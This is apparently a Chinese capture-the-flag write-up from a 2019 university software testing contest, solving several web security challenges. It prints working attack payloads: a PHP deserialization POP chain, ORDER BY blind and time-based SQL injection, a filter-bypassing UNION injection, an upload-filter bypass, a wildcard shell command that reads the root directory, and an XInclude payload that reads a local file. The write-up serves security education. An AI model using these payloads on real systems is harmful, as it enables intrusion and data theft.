2019全国大学生软件测试大赛初赛 安恒杯web安全测试wp

未完成的网站

分析

考点:

1.变量覆盖
2.任意文件包含
3.PHP is_numeric特性
4.二次注入

首先扫目录可以得到web.zip,网站主要功能有:注册、登录、更新和查看个人info信息;

其目录结构为:

├── common.php
├── config.php
├── css
│   ├── demo.css
│   ├── font-awesome.css
│   └── style.css
├── edit_info.php
├── font
│   ├── fontawesome-webfont.eot
│   ├── fontawesome-webfont.svg
│   ├── fontawesome-webfont.ttf
│   └── fontawesome-webfont.woff
├── images
│   ├── a.jpg
│   ├── bg2.jpg
│   ├── bg3.jpg
│   ├── bg.jpg
│   ├── blurred.jpg
│   ├── noise.png
│   └── wood_pattern.jpg
├── index.php
├── info.php
├── js
│   ├── jquery.placeholder.min.js
│   └── modernizr.custom.63321.js
├── register.php
├── template
│   ├── index.php
│   └── info.php
└── web.zip

在common.php中存在waf,使用了addslashes将传入的特殊字符进行转义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function waf($arr){
foreach ($arr as $key => $value) {
if(!is_array($value)){
$arr[$key] = addslashes($value);
}else{
$arr[$key] = waf($arr[$key]);
}
}
return $arr;
}

$_POST = waf($_POST);
$_GET = waf($_GET);

还注意到,里面还定义了一个没有使用的变量

$role = 1;

在config.php中定义了关于sql操作的类,除此文件外其余的php文件中都使用了require_once将common.php和config.php包含了,即common.php中的waf属于全局的过滤

在edit_info.php中:

1
2
3
4
5
6
7
if(is_numeric($role)){
$username = $_SESSION['username'];
$role = addslashes($role);
$sql_ = "update users set role=$role where username='$username'";
$db = new sql();
$db->register($sql_);
}

存在二次注入;在php5下,可以将sql语句进行hex,这样便可绕过is_numeric;

但是这里有个坑,因为edit_info.php开头有句require_once("common.php");,而common.php中已经定义过$role这个变量了,因此无论怎么赋值,都不起作用(wtcl)

在index.php存在任意包含漏洞:

1
2
3
4
5
if(isset($tem)){
require("template/$tem.php");
}else{
require("template/index.php");
}

那么,我们可以利用这个漏洞,间接的去包含上级目录的edit_info.php:

?tem=../edit_info

因为使用的是require_once,那么由于index.php开头已经有句require_once("common.php");了,此时被包含的edit_info中的require_once("common.php");便不会生效,再控制$role,即可更新info信息,流程为:

1. index.php => require_once("common.php"); => $role=1;
2. index.php?role=xxx&tem=../edit_info => $role=xxx;
3. edit_info.php => require_once("common.php"); => 无效

之后,使用mysql自带的hex函数进行编码注入即可

其他

复现遇到的一些坑:

1.php7中hex字符串(如0x123)不再被认为是数字,is_numeric不再认可

2.出现错误:

Cannot modify header information - headers already sent by

原因是在php程序的头部加了类似:

header("content-type: text/html; charset=utf-8");

之后页面就出现上面的错误。

以下内容转自文章:

https://blog.csdn.net/m0sh1/article/details/40678141

因为header(xxx)前面不能有任何输出,空格也不行;这和php.ini的一个配置有关

buffer是 一个内存地址空间,Linux系统默认大小一般为4096(4kb),即一个内存页。主要用于存储速度不同步的设备或者优先级不同的设备之间传办理数据的 区域。

当php执行echo,print的时候,输出并没有立即通过server传给客户端浏览器显示,而是将数据写入php buffer。当一个php buffer写满的时候,脚本进程会将php buffer中的输出数据交给系统内核由server传给浏览器

php.ini中的配置项output_buffering默认情况下是开启的,而且该buffer默认值是4096,即4kb。你可以通过在php.ini配置文件中找到output_buffering配 置.当echo,print等输出用户数据的时候,输出数据都会写入到php output_buffering中,直到output_buffering写满,会将这些数据通过server传送给浏览器显示。你也可以通过 ob_start()手动激活php output_buffering机制,使得即便输出超过了4kb数据,也不真的把数据交给server传给浏览器,因为ob_start()将php buffer空间设置到了足够大。只有直到脚本结束,或者调用ob_end_flush函数,才会把数据发送给客户端浏览器。

我们将php.ini 中的 output_buffering 设置成为On就表明设置了无限大的buffer空间。

假设我们设置的output_buffering 为Off ,那么php代码:

1
2
3
echo "php";
header("content-type:text/html;charset='utf-8'");
echo 'ok';

是会出错的提示:Cannot modify header information - headers already sent by

根据以上内容分析原因:

php在echo 'php'时已经向浏览器发送一个头信息,当再出现header("content-type:text/html;charset='utf-8'");又看到一个头信息,这时已经打回了上面的头信息,无法更改便出错了。

解决上述问题可以通过以下方法解决:

  1. 检查是否有在header 输出之前输出的内容

  2. 使用

1
2
3
4
5
<?php ob_start(); ?>
...
header ("Location: ....");
ob_end_flush();
?>

方法解决

  1. error_reporting(E_ERROR | E_PARSE); 这里不要显示E_WARNING即可
    不显示错误(但是错误还在)

  2. 有权限编辑php.ini,设置 output_buffering =为on或者具体大小

  3. 将该文件转为UTF-8 without BOM编码的文件

这里采用的第二种方法

babygo

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>

获取flag.php内容流程:

echo unserialize('xxx') => __toString() => return $this->cool->read() => return file_get_contents('flag.php') 

构造POP链,通过引用来绕过判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool();
}
}

class cool
{
public $filename = 'flag.php';
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

$a = new baby();
$a->bbb = &$a->aaa;

$b = new cool();
$b->nice = serialize($a);

echo serialize($a);
?>

得到:

O:4:"baby":3:{s:9:"%00*%00skyobj";O:4:"cool":3:{s:8:"filename";s:8:"flag.php";s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";R:6;}

其他

需要注意:

1.protected类型的属性序列化后属性名skyobj前为%00*%00skyobj

2.对protected属性赋值为对象时要用__construct(),直接在类中赋值如protected $skyobj = new cool;会报错

注入初体验

注入点在order by上,与order by相关的注入方法:

1.基于union的布尔盲注:

id = 1 union select 1,2,xxx order by 3

对第三列进行比较,即将xxx与数据库中的第三列数据进行比较,根据页面返回的情况进行布尔盲注

2.基于if的布尔盲注:

order by if(1=1, 1, 0)

3.基于if的时间盲注:

order by if(1=1,1,sleep(1))

注意其延迟时间并不是sleep(1):

延迟时间=sleep(1)*列数

这里用第2 or 3方法即可实现注入

比比手速

在header中发现password,提交后进入到一个上传界面,上传php后缀文件发现被拦截了,改后缀名为.phtmlContent-Type为image/jpeg绕过,可被成功解析,flag在上层目录读取即可

easy audit

参数?func1后跟函数名的话会被解析,主要利用的函数:

get_defined_vars 获取所有已定义的变量
get_defined_functions 获取所有已定义的函数

?func1=get_defined_functions获取到已定义的函数,在数组最后发现jam_source_ctf_flag这个函数,构造func1=jam_source_ctf_flag进入到这个函数;函数中关键代码意思为如果post提交了flag参数且值为I want the flag,就会将real_flag.php包含

做法:POST flag=I want the flag,再构造:

index.php?func1=get_defined_vars

即可得到flag(可参考文章)

easy login

登录抓包,页面显示u can't do anything,抓包存在mycookie字段,base64解码后为:

demo@dbappsecurity.com.cn

在页面源码中存在:

<meta name='author' content="nwup2008">

用社工库(如http://site3.sjk.space/)找到该用户名,将其邮箱base64编码放到cookie中,得到flag

签到题

在header中发现flag

bypass

考察linux下php的极限利用,而且是php5的环境,不能动态执行函数

开始想读取/var/www/html/下的flag文件,但是找不到…

?><?=`/???/??? /???/???/????/*`?>

改为:

?><?=`/???/??? /*`?>

找到flag,原来藏在了根目录下

Cool Cms

考点:

注入
XXE

注入过滤了union selector,等,表名告诉你了,绕过:

union select : %0a %0b %0c %0d均可绕过
or : information数据库不能用了,不过表名已知,列名可自定义绕过
, : join; limit 1 offset 1

payload:

-1' union%0bselect * from (select 1)x join (select 2)y join (select 3)k join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1)l-- k

获得flag文件路径,XXE读取:

<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
 <xi:include href="file:///home/fff123aggg" parse="text"/>
</root>